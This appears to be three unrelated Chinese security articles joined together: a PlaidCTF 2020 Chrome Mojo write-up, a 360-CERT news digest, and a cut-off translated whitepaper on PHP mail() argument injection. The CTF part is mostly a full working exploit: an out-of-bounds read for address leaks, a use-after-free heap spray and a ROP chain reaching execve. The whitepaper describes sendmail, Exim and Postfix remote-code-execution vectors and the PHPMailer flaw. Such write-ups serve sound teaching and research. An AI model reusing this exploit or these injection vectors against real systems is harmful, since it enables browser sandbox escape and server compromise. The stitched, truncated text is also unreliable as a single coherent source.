`PlaidStoreImpl` 有两个成员, `render_frame_host_` 保存当前的 `RenderFrameHost` ，
它用来描述网页本身，`data_store_`用来存放数据。
+class PlaidStoreImpl : public blink::mojom::PlaidStore {
...
+ private:
+ RenderFrameHost* render_frame_host_;
+ std::map<std::string, std::vector<uint8_t> > data_store_;
+};
`PlaidStoreImpl::StoreData` 存入传入的data，这里data 是 `uint8_t` 类型，`data_store_` 是一个
vector 会自动给对应的key申请内存
+void PlaidStoreImpl::StoreData(
+ const std::string &key,
+ const std::vector<uint8_t> &data) {
+ if (!render_frame_host_->IsRenderFrameLive()) {
+ return;
+ }
+ data_store_[key] = data;
+}
+
`PlaidStoreImpl::GetData` 有两个参数，`count`
表示要返回的数量，如果调用`p.getData("aaaa",0x200));`, 这个时候`it`是`key == "aaaa"`
的时候保存的数据，结果会返回index在 `[0,0x200)` 返回的数据， 这里并没有对count做检查，假如执行
`p.storeData("aaaa",new Uint8Array(0x100));p.getData("aaaa",0x200))`,
可以成功返回数据，于是这里就有了一个越界读，可以用来泄露数据。
+void PlaidStoreImpl::GetData(
+ const std::string &key,
+ uint32_t count,
+ GetDataCallback callback) {
+ if (!render_frame_host_->IsRenderFrameLive()) {
+ std::move(callback).Run({});
+ return;
+ }
+ auto it = data_store_.find(key);
+ if (it == data_store_.end()) {
+ std::move(callback).Run({});
+ return;
+ }
//[1]
+ std::vector<uint8_t> result(it->second.begin(), it->second.begin() + count);
+ std::move(callback).Run(result);
+}
两个函数开头的处都会检查`render_frame_host_->IsRenderFrameLive()`,
但是并没有检查`render_frame_host_` 是否可用，我们可以创建一个`iframe` ，内部执行 `p =
blink.mojom.PlaidStore.getRemote(true);` 并返回给 `parent`,
然后删除这个`iframe`，这个时候`render_frame_host_` 被释放了，但是仍可以调用`p.getData` 和`p.storeData`
于是可以进行堆喷获取到被释放的`render_frame_host_` ,
改写其函数指针，然后在执行`render_frame_host_->IsRenderFrameLive()` 的时候就可以劫持控制流。
## 漏洞利用
通过前面的分析，现在有了地址泄露和uaf，后续的基本利用流程如下
* 1 泄露出 chrome 的基地址 => 获取gadget
* 2 添加`iframe`, 返回`render_frame_host_` 的地址和 `p`
* 3 删除 iframe, 堆喷改写`iframe`的 `render_frame_host_` ，写入gadget 代码执行
接下来一个一个看
### 调试
题目给出了`Dockerfile` 可以直接搞个`Docker` 来调试，这里我在`ubuntu1804`下， 执行`./chrome --disable-gpu --remote-debugging-port=1338 --enable-blink-features=MojoJS,MojoJSTest`
运行`chrome`， 然后`gdb attach` 即可， 因为这里是调试 mojo代码，我们attach browser进程(第一个)
编写 exp, `mojo_js.zip` 解压到`www` 目录下， 这里我的exp 写在`www/poc/e2xp.html` 里面,
包含好对应的`js`，然后启动web服务器就可以访问了
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: monospace;
}
</style>
</head>
<body>
<script src="../mojo/public/js/mojo_bindings_lite.js"></script>
<script src="../third_party/blink/public/mojom/plaidstore/plaidstore.mojom-lite.js"></script>
<script>
</script>
</body>
</html>
### 泄露 chrome 基地址
`PlaidStore` 对象创建的时候会分配内存, 可以想下面这样找函数的地址
chrome$ nm --demangle ./chrome |grep -i 'PlaidStoreImpl::Create'
0000000003c58490 t content::PlaidStoreImpl::Create(content::RenderFrameHost*, mojo::PendingReceiver<blink::mojom::PlaidStore>)
gdb 下查看 `content::PlaidStoreImpl::Create` 代码如下
push rbp
mov rbp,rsp
push r15
push r14
push rbx
sub rsp,0x38
mov r14,rsi
mov rbx,rdi
// PlaidStore 对象分配内存 ==> buffer64
mov edi,0x28
call 0x55555ac584b0 <operator new(unsigned long, std::nothrow_t const&)>
// rcx == vtable
lea rcx,[rip+0x635e2ec] # 0x55555f50a7a0 <vtable for content::PlaidStoreImpl+16>
// buffer64[0] = vtable
mov QWORD PTR [rax],rcx
// buffer64[1] = render_frame_host_
mov QWORD PTR [rax+0x8],rbx
lea rcx,[rax+0x18]
xorps xmm0,xmm0
movups XMMWORD PTR [rax+0x18],xmm0
所以如果执行
p.storeData("aaaa",Uint8Array(0x28));
blink.mojom.PlaidStore.getRemote(true)
那么`Uint8Array` 的backing store 和
PlaidStore对象很有可能会连续分配，多次执行上面代码，只要两者内存连续分配的手，就可以通过`p.getData` 泄露出`vtable` 和
`render_frame_host_` 的地址，通过`vtable` 即可计算出 `chrome` 的基地址。
内存泄露的代码如下
function show(msg){
document.body.innerHTML+=msg+"<br>";
}
async function main(){
var stores = [];
let p = blink.mojom.PlaidStore.getRemote(true);
for(let i=0;i<0x40;i++){
tmp=new Uint8Array(0x28);
tmp[0]=i;
tmp[1]=0x13;
tmp[2]=0x37;
tmp[3]=0x13;
tmp[4]=0x37;
tmp[5]=0x13;
tmp[6]=0x37;
tmp[7]=0x13;
await p.storeData("yeet"+i,tmp);
stores[i] = blink.mojom.PlaidStore.getRemote(true)
}
let chromeBase = 0;
let renderFrameHost = 0;
for(let i = 0;i<0x40&&chromeBase==0;i++){
let d = (await p.getData("yeet"+i,0x200)).data;
let u8 = new Uint8Array(d)
let u64 = new BigInt64Array(u8.buffer);
for(let j = 5;j<u64.length;j++){
let l = u64[j]&BigInt(0xf00000000000)
let h = u64[j]&BigInt(0x000000000fff)
if((l==BigInt(0x500000000000))&&h==BigInt(0x7a0)){
show(i.toString(16)+' '+j+' 0x'+u64[j].toString(16));
chromeBase = u64[j]-BigInt(0x9fb67a0);
renderFrameHost = u64[j+1];
break;
}
}
}
show("ChromeBase: 0x"+chromeBase.toString(16));
show("renderFrameHost: 0x"+renderFrameHost.toString(16));
return 0 ;
}
main();
执行后效果如图
### 构造 uaf
接下来是构造`uaf` , 首先是`var frame = document.createElement("iframe");` 创建一个
`iframe`, 然后`frame.srcdoc` 写入代码, 具体参考最后完整exp， 代码和前面 泄露地址一样，把`iframe` 里面的
`render_frame_host_` 地址泄露出来，然后把`PlaidStore` 对象和`iframe` 的 `render_frame_host_`
地址传递给 `parent`， `parent` 执行`document.body.removeChild(frame)` 释放 `iframe`
，接下来堆喷尝试重新拿到被释放的`render_frame_host_` 的内存
`RenderFrameHost` 对象使用`content::RenderFrameHostFactory::Create()` 函数创建
chrome$ nm --demangle ./chrome |grep -i 'content::RenderFrameHostFactory::Create'
0000000003b219e0 t content::RenderFrameHostFactory::Create(content::SiteInstance*, scoped_refptr<content::RenderViewHostImpl>, content::RenderFrameHostDelegate*, content::FrameTree*, content::FrameTreeNode*, int, int, bool)
对应的代码如下，`RenderFrameHost` 对象的大小是`0xc28`, 所以只需要喷一堆`0xc28` 大小的 `ArrayBuffer`
就有可能重新拿到被释放的对象
0x0000555559075a50 <+112>: jmp 0x555559075aca <content::RenderFrameHostFactory::Create(content::SiteInstance*, scoped_refptr<content::RenderViewHostImpl>, content::RenderFrameHostDelegate*, content::Fram
eTree*, content::FrameTreeNode*, int, int, bool)+234>
// new(0xc28)
0x0000555559075a52 <+114>: mov edi,0xc28
0x0000555559075a57 <+119>: call 0x55555ac584b0 <operator new(unsigned long, std::nothrow_t const&)>
0x0000555559075a5c <+124>: mov rdi,rax
0x0000555559075a5f <+127>: mov rax,QWORD PTR [r14]
0x0000555559075a62 <+130>: mov QWORD PTR [rbp-0x38],rax
0x0000555559075a66 <+134>: mov QWORD PTR [r14],0x0
0x0000555559075a6d <+141>: sub rsp,0x8
0x0000555559075a71 <+145>: movzx eax,BYTE PTR [rbp+0x20]
0x0000555559075a75 <+149>: lea rdx,[rbp-0x38]
0x0000555559075a79 <+153>: mov r14,rdi
0x0000555559075a7c <+156>: mov rsi,rbx
0x0000555559075a7f <+159>: mov rcx,r13
0x0000555559075a82 <+162>: mov r8,r12
0x0000555559075a85 <+165>: mov r9,r15
### rop 代码执行
查看`GetData` 函数的汇编代码
0000000003c582b0 t content::PlaidStoreImpl::GetData(std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&, unsigned int, base::OnceCallback<void (std::__1::vector<unsigned char, std::__1::allocator<unsigned char> > const&)>)
调用`IsRenderFrameLive`基调用 `vtable + 0x160` 的位置， rax 保存 `vtable` 的值
0x00005555591ac2c7 <+23>: mov r14,rsi
0x00005555591ac2ca <+26>: mov rbx,rdi
0x00005555591ac2cd <+29>: mov rdi,QWORD PTR [rdi+0x8]// rdi == render_frame_host_
0x00005555591ac2d1 <+33>: mov rax,QWORD PTR [rdi] // rax ==> vtable
0x00005555591ac2d4 <+36>: call QWORD PTR [rax+0x160] // vtable+0x160 ==> IsRenderFrameLive
我们可以构造下面的内存布局
frame_addr => [0x00] : vtable ==> frame_addr + 0x10 --- [0x08] : gadget => pop rdi |
/-- [0x10] : frame_addr + 0x180 <----------------------- | [0x18] : gadget => pop rax |
| [0x20] : gadget => SYS_execve | vtable+0x10
| [0x28] : gadget => xor rsi, rsi; pop rbp; jmp rax |
| ... V
| [0x160 + 0x10] : xchg rax, rsp <= isRenderFrameLive
| [0x160 + 0x18] :
-> [0x180 ... ] : "/home/chrome/flag_printer"
这里将`vtable -> isRenderFrameLive` 处改成`xchg rax, rsp` ， 因为 `rax` 保存`vtable` 的地址，
所以`rsp` 变成了`frame_addr + 0x10` 的地址，继续执行，最终相当于执行 拿到flag
execve("/home/chrome/flag_printer",rsi,env);
### 完整exp
完整exp如下
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: monospace;
}
</style>
</head>
<body>
<script src="../mojo/public/js/mojo_bindings_lite.js"></script>
<script src="../third_party/blink/public/mojom/plaidstore/plaidstore.mojom-lite.js"></script>
<script>
function show(msg){
document.body.innerHTML+=msg+"<br>";
}
async function main(){
var stores = [];
let p = blink.mojom.PlaidStore.getRemote(true);
for(let i=0;i<0x40;i++){
tmp=new Uint8Array(0x28);
tmp[0]=i;
tmp[1]=0x13;
tmp[2]=0x37;
tmp[3]=0x13;
tmp[4]=0x37;
tmp[5]=0x13;
tmp[6]=0x37;
tmp[7]=0x13;
await p.storeData("yeet"+i,tmp);
stores[i] = blink.mojom.PlaidStore.getRemote(true)
}
let chromeBase = 0;
let renderFrameHost = 0;
for(let i = 0;i<0x40&&chromeBase==0;i++){
let d = (await p.getData("yeet"+i,0x200)).data;
let u8 = new Uint8Array(d)
let u64 = new BigInt64Array(u8.buffer);
for(let j = 5;j<u64.length;j++){
let l = u64[j]&BigInt(0xf00000000000)
let h = u64[j]&BigInt(0x000000000fff)
if((l==BigInt(0x500000000000))&&h==BigInt(0x7a0)){
show(i.toString(16)+' '+j+' 0x'+u64[j].toString(16));
chromeBase = u64[j]-BigInt(0x9fb67a0);
renderFrameHost = u64[j+1];
break;
}
}
}
show("ChromeBase: 0x"+chromeBase.toString(16));
show("renderFrameHost: 0x"+renderFrameHost.toString(16));
const kRenderFrameHostSize = 0xc28;
var frameData = new ArrayBuffer(kRenderFrameHostSize);
var frameData8 = new Uint8Array(frameData).fill(0x0);
var frameDataView = new DataView(frameData)
var ropChainView = new BigInt64Array(frameData,0x10);
frameDataView.setBigInt64(0x160+0x10,chromeBase + 0x880dee8n,true); //xchg rax, rsp
frameDataView.setBigInt64(0x180, 0x2f686f6d652f6368n,false);
frameDataView.setBigInt64(0x188, 0x726f6d652f666c61n,false);
frameDataView.setBigInt64(0x190, 0x675f7072696e7465n,false);// /home/chrome/flag_printer; big-endian
frameDataView.setBigInt64(0x198, 0x7200000000000000n,false);// /home/chrome/flag_printer; big-endian
ropChainView[0] = 0xdeadbeefn; // RIP rbp :<
ropChainView[1] = chromeBase + 0x2e4630fn; //pop rdi;
ropChainView[2] = 0x4141414141414141n; // frameaddr+0x180
ropChainView[3] = chromeBase + 0x2e651ddn; // pop rax;
ropChainView[4] = chromeBase + 0x9efca30n; // execve@plt
ropChainView[5] = chromeBase + 0x8d08a16n; // xor rsi, rsi; pop rbp; jmp rax
ropChainView[6] = 0xdeadbeefn; // rbp
//Constrait: rdx = 0; rdi pointed to ./flag_reader
var allocateFrame = () =>{
var frame = document.createElement("iframe");
frame.srcdoc=`<script src="../mojo/public/js/mojo_bindings_lite.js"></script>
<script src="../third_party/blink/public/mojom/plaidstore/plaidstore.mojom-lite.js"></script>
<script>
let p = blink.mojom.PlaidStore.getRemote(true);
window.p = p;
async function leak() {
//Same code with the one in pwn.js
var stores = [];
for(let i = 0;i< 0x40; i++ ){
await p.storeData("yeet"+i,new Uint8Array(0x28).fill(0x41));
stores[i] = blink.mojom.PlaidStore.getRemote(true);
}
let chromeBase = 0;
let renderFrameHost = 0;
for(let i = 0;i<0x40&&chromeBase==0;i++){
let d = (await p.getData("yeet"+i,0x200)).data;
let u8 = new Uint8Array(d)
let u64 = new BigInt64Array(u8.buffer);
for(let j = 5;j<u64.length;j++){
let l = u64[j]&BigInt(0xf00000000000)
let h = u64[j]&BigInt(0x000000000fff)
if((l==BigInt(0x500000000000))&&h==BigInt(0x7a0)){
chromeBase = u64[j]-BigInt(0x9fb67a0);
renderFrameHost = u64[j+1];
break;
}
}
}
window.chromeBase = chromeBase;
window.renderFrameHost = renderFrameHost;
window.p = p;
return chromeBase!=0&&renderFrameHost!=0;
}
</script>
`
frame.srcdoc=`
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<script src="../mojo/public/js/mojo_bindings_lite.js"></script>
<script src="../third_party/blink/public/mojom/plaidstore/plaidstore.mojom-lite.js"></script>
<script>
var p = blink.mojom.PlaidStore.getRemote(true);
async function leak() {
//Same code with the one in pwn.js
console.log("Starting frame leak");
var stores = [];
for(let i = 0;i< 0x40; i++ ){
await p.storeData("yeet"+i,new Uint8Array(0x28).fill(0x41));
stores[i] = blink.mojom.PlaidStore.getRemote(true);
}
let chromeBase = 0;
let renderFrameHost = 0;
for(let i = 0;i<0x40&&chromeBase==0;i++){
let d = (await p.getData("yeet"+i,0x200)).data;
let u8 = new Uint8Array(d)
let u64 = new BigInt64Array(u8.buffer);
for(let j = 5;j<u64.length;j++){
let l = u64[j]&BigInt(0xf00000000000)
let h = u64[j]&BigInt(0x000000000fff)
if((l==BigInt(0x500000000000))&&h==BigInt(0x7a0)){
chromeBase = u64[j]-BigInt(0x9fb67a0);
renderFrameHost = u64[j+1];
break;
}
}
}
window.chromeBase = chromeBase;
window.renderFrameHost = renderFrameHost;
window.p = p;
return chromeBase!=0&&renderFrameHost!=0;
}
</script>
</body>
</html>
`
document.body.appendChild(frame);
return frame;
}
var frame = allocateFrame();
frame.contentWindow.addEventListener("DOMContentLoaded",async ()=>{
if(!(await frame.contentWindow.leak())){
show("frame leak failed!");
return;
}
if(frame.contentWindow.chromeBase!=chromeBase){
show("different chrome base!! wtf!")
return;
}
var frameAddr = frame.contentWindow.renderFrameHost;
// show(frameAddr.toString(16));
frameDataView.setBigInt64(0,frameAddr+0x10n,true); //vtable/ rax
ropChainView[2] = frameAddr + 0x180n;
var frameStore = frame.contentWindow.p;
document.body.removeChild(frame);
var arr = [];
for(let i = 0;i< 0x400;i++){
await p.storeData("bruh"+i,frameData8);
}
await frameStore.getData("yeet0",0);
});
}
main();
//document.addEventListener("DOMContentLoaded",()=>{main();});
</script>
</body>
</html>
## reference
<https://pwnfirstsear.ch/2020/04/20/plaidctf2020-mojo.html>
<https://github.com/A-0-E/writeups/tree/master/plaidctf-2020>
<https://gist.github.com/ujin5/5b9a2ce2ffaf8f4222fe7381f792cb38>
<https://trungnguyen1909.github.io/blog/post/PlaidCTF2020/> | 社区文章 |
# 4月15日安全热点 - RSA 2018专题报道：议题亮点抢先揭秘(含112份PPT)
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
360-CERT 每日安全简报 2018-04-15 星期日
## 【安全资讯】
1.HITB的PPT已经放出
[ http://t.cn/RmfOqSr](http://t.cn/RmfOqSr)
2.RSA 2018专题报道：议题亮点抢先揭秘(含112份PPT)
[ http://t.cn/RmNx9P4](http://t.cn/RmNx9P4)
3.中央网信办和中国证监会联合发布《关于推动资本市场服务网络强国建设的指导意见》
[ http://t.cn/Rmlwdeb](http://t.cn/Rmlwdeb)
## 【安全报告】
1.2017金融科技安全分析报告
[ http://t.cn/Rmlwd1k](http://t.cn/Rmlwd1k)
## 【安全研究】
1.使用PyREBox进行病毒分析
[ http://t.cn/RmlwdBF](http://t.cn/RmlwdBF)
2.Cisco ios shellcode: all-in-one译文
[ http://t.cn/RmC1QfQ](http://t.cn/RmC1QfQ)
3.SysGauge Server 3.6.18 栈溢出漏洞分析及利用
[ http://t.cn/RmCX2sW](http://t.cn/RmCX2sW)
4.爬虫 JavaScript 篇[Web漏洞扫描器]
[ http://t.cn/RmWdNai](http://t.cn/RmWdNai)
5.分析CVE-2017-0263并研究菜单管理组件
[ http://t.cn/RmlwdDP](http://t.cn/RmlwdDP)
6.金融黑客的惯用手段MITB
[ http://t.cn/Rmlwdg5](http://t.cn/Rmlwdg5)
【以上信息整理于 <https://cert.360.cn/daily> 】
**360CERT全称“360 Computer Emergency Readiness
Team”，我们致力于维护计算机网络空间安全，是360基于”协同联动，主动发现，快速响应”的指导原则，对全球重要网络安全事件进行快速预警、应急响应的安全协调中心。**
**微信公众号：360cert** | 社区文章 |
# 【技术分享】详细解析PHP mail()函数漏洞利用技巧
|
##### 译文声明
本文是翻译文章，文章来源：exploitbox.io
原文地址：<https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[ **myswsun**](http://bobao.360.cn/member/contribute?uid=2775084127)
**预估稿费：300RMB**
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**0x00 前言**
本白皮书旨在消除关于PHP mail函数在漏洞利用中的限制的一些误解，并展示利用的进一步发展。
它提供了几个关于PHP mail()函数的新的漏洞利用和绕过技术的向量，在主要的PHP e-mail发送库（PHPMailer、Zend
Framework/Zend-mail、SwiftMailer）都发现了多个致命的漏洞，它们还被数百万的web应用/项目（如WordPress、Drupal、Joomla等）和PHP编程框架（Zend、Yii2、Symphony、Laravel等）使用。
这些技术包括被认为通过mail()函数不可利用的Exim向量。这个向量使mail()注入攻击提升到一个新的水平。
成功利用mail函数可以使攻击者获得远程代码执行权限和其他恶意目的。
**0x01 SMTP协议——RFC2821**
根据[ **RFC2821**](https://www.ietf.org/rfc/rfc2821.txt)
，一个客户端email程序能通过下面的方式发送一系列SMTP命令给SMTP服务器：
从理解PHP mail()函数/sendmail的邮件地址使用的角度看，重要的部分是SMTP客户端在两个地方指定了发送者的地址：
在头部。
在DATA命令中。
前者被目的SMTP服务器用来在有问题的情况下回退邮件使用。
后者被电子邮件客户端软件（如outlook、thunderbird等）使用，用来在‘From’地址字段显示发送者的信息（基于From头），同时决定（基于Reply-To头或者From头）点击回复按钮时选择哪个地址回复。
**0x02 mail()函数**
Mail()是标准的PHP函数，被用来作为[ **PHP脚本**](http://php.net/manual/en/function.mail.php)
中发送邮件的接口。函数原型如下：
从攻击者的角度，最后一个参数是最有趣的，因为它允许注入额外的参数给系统安装的/usr/bin/sendmail程序，该程序使用mail()发送消息。
**1\. 第5个参数（$ additional_parameters）**
第5个参数是可选的。许多WEB应用使用它设置发送者地址/返回路径：
或者：
这个参数地址就传递给/usr/sbin/sendmail，其将使用这个电子邮件地址通知接收邮件服务器关于原始/发送者的信息（通过MAIL
FROM命令），如果分发错误将返回错误信息。
**2\. /usr/bin/sendmail接口调用mail()函数**
/usr/bin/sendmail程序是用来发送邮件的接口。它由邮件传输代理（MTA）软件安装在系统上（如Sendmail、Postfix等）。
当使用mail()发送邮件时，PHP脚本如下：
PHP将调用execve()执行sendmail程序：
并且通过它的标准输入传递下面的数据：
-t和-i参数由PHP自动添加。参数-t使sendmail从标准输入中提取头，-i阻止sendmail将‘.‘作为输入的结尾。-f来自于mail()函数调用的第5个参数。
有趣的事就在这，sendmail命令在系统shell的帮助下执行，给了注入攻击的机会，只需要传递不受信的输入到最后一个参数即可。
**0x03 通过mail()和$additional_parameters Sendmal命令注入**
如果一个攻击者能够注入数据到mail()函数的第5个参数中，例如，通过不过滤的GET变量获取的$sender：
攻击者能够通过PHP脚本请求注入任意的攻击参数给/usr/sbin/sendmail：
其执行mail():
将导致使用参数执行sendmail：
**1\. escapeshellcmd()逃逸**
重要的是mail()函数能通过下面函数内部执行命令逃逸：
因此shell字符不能起作用。例如，设置$senders_email GET变量：
不会导致shell_injection文件的创建，因为>字符会被escapeshellcmd()转义，sendmail最终如下调用：
**2\. sendmail命令参数注入**
攻击者能够注入额外的参数给sendmail命令，因为mail()调用的escapeshellcmd()函数默认不会转义$additional_parameters。它使得编程者可以自由的传入多个参数，但是可能是个漏洞。
成功的注入能触发sendmail额外的功能。
例如，如果攻击者设置$return变量为：
Sendmail将在shell命令中如下调用：
如果-LogFile是sendmail的一个可靠的参数，将能使得程序写一个日志文件为/tmp/output_file。
结果是Sendmail MTA的/usr/sbin/sendmail接口中真的有这么一种日志功能实现，使用-X参数开启，能够用来保存攻击者的恶意代码。
**0x04 /usr/sbin/sendmail中不同的实现**
如上文提到的，sendmail接口由MTA邮件软件(Sendmail, Postfix, Exim etc.)安装提供。
尽管基本的功能（如-t –I –f参数）是相同的，其他功能和参数根据MTA的不同有变化。
例如，-X参数是来日志记录，只在在上节中提到的版本实现了。在其他的里面简单的实现它作为一个假的开关，出于某些原因，不支持相关参数。
正式由于这个，sendmail的man页也会根据MTA的变化而变化。
下面是一些不同版本的sendmail接口的man页：
**0x05 已知的利用向量**
关于mail()的第五个参数能被恶意利用最早披露于2011年Sogeti / ESEC发布的[ **文章**](http://esec-pentest.sogeti.com/posts/2011/11/03/using-mail-for-remote-code-execution.html)
中。
本文揭露了Sendmail MTA的2种利用向量，允许攻击者任意读写文件，并能通过-C和-X参数获得远程代码执行。
这两种向量只能在Sendmail MTA中有效，呈现如下。
**1\. Sendmail MTA：使用-C参数文件任意读**
参考sendmail的man页：
这两个参数能组合使用使得sendmail加载任意文件作为配置，且输出一系列错误消息内容（由于未知的配置行）。
例如，如果攻击者注入：
作为mail()的5th参数，下面的命令将被执行：
保存下面的内容到/tmp/output.txt：
对于远程攻击者是有效的。输出文件需要放在可写目录下面，且能通过web服务器得到。
**2\. Sendmail MTA：任意文件写/远程代码执行**
Sendmail MTA版本的/usr/sbin/sendmail的-X参数也能和下面参数组合使用：
这个参数的描述如下：
攻击者需要选择可写目录来保存临时文件。
这允许成功发送一个消息给sendmail，同时通过-X参数保存日志文件到任意文件。
这个PoC将保存$body 内的PHP代码到/tmp/poc.php日志文件中：
因为攻击者能控制文件名和内容，如果攻击者将它保存到root目录下面的可写目录中去，这潜在的导致任意PHP代码执行：
能通过一个GET请求执行它：
为了实现这个，上传目录必须启用解析/执行PHP文件，有时由于安全原因，管理员或应用安装者会关掉它（通过在上传目录放置.htaccess规则文件）。
也该注意到输出日志文件可能包含大量的调试信息。
**0x06 作者发现的新的攻击向量**
由于复杂性和一些历史漏洞原因，Sendmail MTA很少被使用。
现代linux分发中已不再默认包含它，且在基于Redhat的系统（如centos）上被Postfix
MTA替换，在基于Debian的系统（如Ubuntu、Debian等）上被Exim MTA替代。
这使得在真实环境中很难找到Sendmail MTA。即使找到了，有时也会因为一些限制导致利用失败（如修改webroot路径、php执行目录等）。
在本文以前所有已知的向量都需要Senmail MTA，作者发现了一种新的利用向量，能在Exim和Postfix上使用。
**1\. 所有的MTA：抢夺邮件/执行侦查**
不会因为MTA改变而改变的参数之一如下
如果攻击者控制mail()的第五个参数，只需简单的追加一个recipient：
执行命令如下：
发送邮件到攻击者的邮箱[email protected]：
这揭露了：
使用的操作系统版本（Debian）
服务器IP
使用的MTA版本（8.14.4，是Sendmail MTA）
发送消息的脚本名，继而揭露电子邮件发送库/框架的名（如X-PHP-Originating-Script: 0:class.phpmailer.php）
如果应用使用了电子邮件库（如PHPMailer、Zend-mail等）。可能会有版本头。如：
知道了使用的库，攻击者能调整他们的攻击的系统、MTA和PHP电子邮件库。
例如，PHPMailer库有版本有漏洞：PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033)
**2\. Sendmail MTA：增强型已存在文件写向量**
-X参数需要全路径的认知是错误的，因此攻击者需要猜测漏洞网站的webroot。
Sendmail也接受相对路径。这使得攻击者能简单的使用当前目录作为远程漏洞目录的参考。
如果远程脚本运行在webroot的顶层，攻击者可能尝试注入下面的参数：
而不是：
另外参数太长了：
可以减为：
如果web应用限制了$sender字符串的长度时，这非常有效，同时还能绕过‘=‘字符的过滤。
**3\. Sendmail MTA：通过sendmail.cf远程代码执行**
在一个安全部署的web应用中，在上传目录的PHP脚本执行可能是被禁止的，且应用只允许上传静态文件（如纯文本、图片等）。
发现的新的攻击向量能打破这些限制。因为sendmail接口允许通过-C参数加载一个自定义的Sendmail
MTA配置文件，攻击者通过web应用的上传功能上传一个恶意的配置文件，使用它强制Sendmail执行恶意的代码。
这能通过复制一份/etc/mail/sendmail.cf配置文件并使用下面的Sendmail配置替换文件末尾的默认的Mlocal邮件处理函数来实现：
$sender payload将使用相对路径从upload/sendmail_cf_exec加载构造的Sendmail
MTA配置文件（之前用静态文件上传者上传），使用它处理来自mail()函数的邮件。
Sendmail MTA将启动/usr/bin/php进程并处理$body中的消息。
除了使用静态文件上传的远程利用，这个向量很明显也能用于共享主机环境中。
有这么一种场景，一个攻击者能简单的使用/tmp目录来存放恶意的配置文件，然后使用mail()漏洞加载配置并在受害者用户上下文中获得代码执行。
**4\. Exim MTA：远程代码执行**
Exim MTA是基于Debain系统中默认安装MTA软件。
/usr/sbin/sendmail接口由Exim4提供，它有丰富的功能。
研究表明-be选项对于攻击者很有用。
Man页表明：
研究Exim提供的exim语法/语言，发现了可以扩展的变量。exim语法允许扩展标准变量，如$h_subject或$recipients。更深入的研究发现${run}能扩展到shell命令的返回结果。
例如，下面的字符串：
成功执行/bin/true后会扩展为’yes’。
这很快就能转化为任意远程代码执行payload，能执行在$body内的任意shell命令：
这个利用向量似乎是最有效的，因为它能使得攻击者在装有Exim MTA的系统上得到RCE。
一旦通过mail()注入的参数传给/usr/sbin/sendmail，代码将得到执行。
不必写任何文件，因此开启PHP解析的可写目录也是不需要的。
**5\. Postfix MTA：通过恶意的配置代码执行**
研究表明Postfix是更复杂的。
然而，在攻击者和目标在相同的共享主机环境中，攻击者决定使用哪种方式获得代码执行是可能的。
某些设置也能使远程攻击成为可能。
类似于Sendmail MTA，Postfix MTA提供的/usr/sbin/sendmail接口有-C开关，能用于加载一个自定义的配置。
然而，攻击者的消息传递给postdrop命令处理，sendmail将失败。Postdrop将注意到-C配置，并停止进一步执行。
但是通过创建一个自定义的main.cf Postfix配置能绕过这个限制，在/tmp/main.cf文件中如下配置：
攻击者能在postfix_fake_bin目录存放一个恶意的bash脚本，并注入下面的参数给/usr/sbin/sendmail接口，下面的PoC通过mail()参数注入：
如果目标web应用提供一个文件管理工具能使得攻击者创建目录/文件但不是PHP文件，那么这种场景也能远程利用。
另一种远程场景，包含一个文件上传者能让用户上传ZIP文件。一个恶意的ZIP能包含main.cf，且postdrop脚本能提取到一个已知的位置。
**6\. Sendmail MTA：通过文件读和文件追加造成拒绝服务**
-C和-X参数能用来对目标执行拒绝服务攻击，方法是使用-C选项读取大的已知文件（如web服务器日志），并追加他们到一个可写目录下的文件中（如/tmp、/var/www/html/upload、/var/lib/php5/sessions等），以消耗磁盘空间。
尽管这个例子只限于Sendmail MTA，这个向量也可能影响更多的MTA服务器，只要使用其他MTA支持的类似的参数来做到。
**0x07 参数注入点和漏洞实例**
Mail()参数注入被认为几乎不可能利用，因为多年来5th个参数都被认为不太可能暴露到web应用控制面板外面来接收恶意输入，其通常受限于管理员用户，因此很少被远程利用。
找到mail()参数注入漏洞，也不能保证一个成功的利用，因为依赖web服务器安装的MTA版本，直到现在也只有很少使用的Sendmail MTA的2个向量
–X和-C（文件写/读）。
基于这个原因，新的攻击向量出现了，将会非常有用，新的漏洞利用将有更多的可能性。
**1\. 有漏洞的电子邮件库（PHPMailer/Zend-mail/SwiftMailer）**
最近作者发现了一系列的mail()参数注入：
可以在各自的咨询中看到，但是我们可以快速的浏览他们共享的问题，以PHPMailer为例。
**2\. 通过PHP电子邮件库的SetFrom()方法的sender注入**
类似其他的电子邮件库，PHPMailer类使用PHP mail()函数作为它的默认的载体。
这个载体使用mailSend()函数实现：
如你所见，它创建了$params变量，追加$this->Sender属性为-f字符串，以创建一个sendmail参数（信件发送者/MAIL
FROM）传递给mail()函数，作为5th参数。
$this->Sender属性的内部会通过调用PHPMailer类的setFrom()方法验证并设置。看起来如下：
理论上，setFrom()应该很少暴露给不受信的用户输入，即使是，也有验证函数验证邮件满足RFC822协议，因此这不是个问题。
[PHPMailer教程](https://github.com/PHPMailer/PHPMailer/wiki/Tutorial)显示了PHPMailer的基本用法：
与名字暗示的相反，这个setFrom()例子不是用来存储地址的。
不幸的是，由于函数名和代码片段的流行程度，很多脚本通过各种通讯录和反馈表单中的字段使用setFrom()来设置访问者的“From”地址。
不知道他们应该使用AddReplyTo()添加。（设置DATA/Reply-To头，而不是MAIL FROM/信件Sender地址）
使用setFrom()实现预期的通讯/反馈表单，即使不满足邮件最佳做法。
这也将造成严重缺陷，如果使用setFrom()设置的是不受信的邮件地址给mail()函数的5th参数，将绕过RFC验证。这使得注入任意参数给/usr/sbin/sendmail是可能的，并导致致命的远程代码执行缺陷。
正如所提到的，其他的PHP库有类似的缺陷，后来被命名为“PwnScriptum”。
这个漏洞的demo的[细节](https://legalhackers.com/videos/PHPMailer-Exploit-Remote-Code-Exec-Vuln-CVE-2016-10033-PoC.html)显示了如何通过通讯表单成功漏洞利用。受限利用在[这里](https://legalhackers.com/exploits/CVE-2016-10033/10045/10034/10074/PwnScriptum_RCE_exploit.py)分享。
**3\. 其他利用mail()漏洞的注入点/方式**
等到供应商修复了漏洞，剩余的实例将在下个版本的白皮书描述。
**0x08 绕过技术**
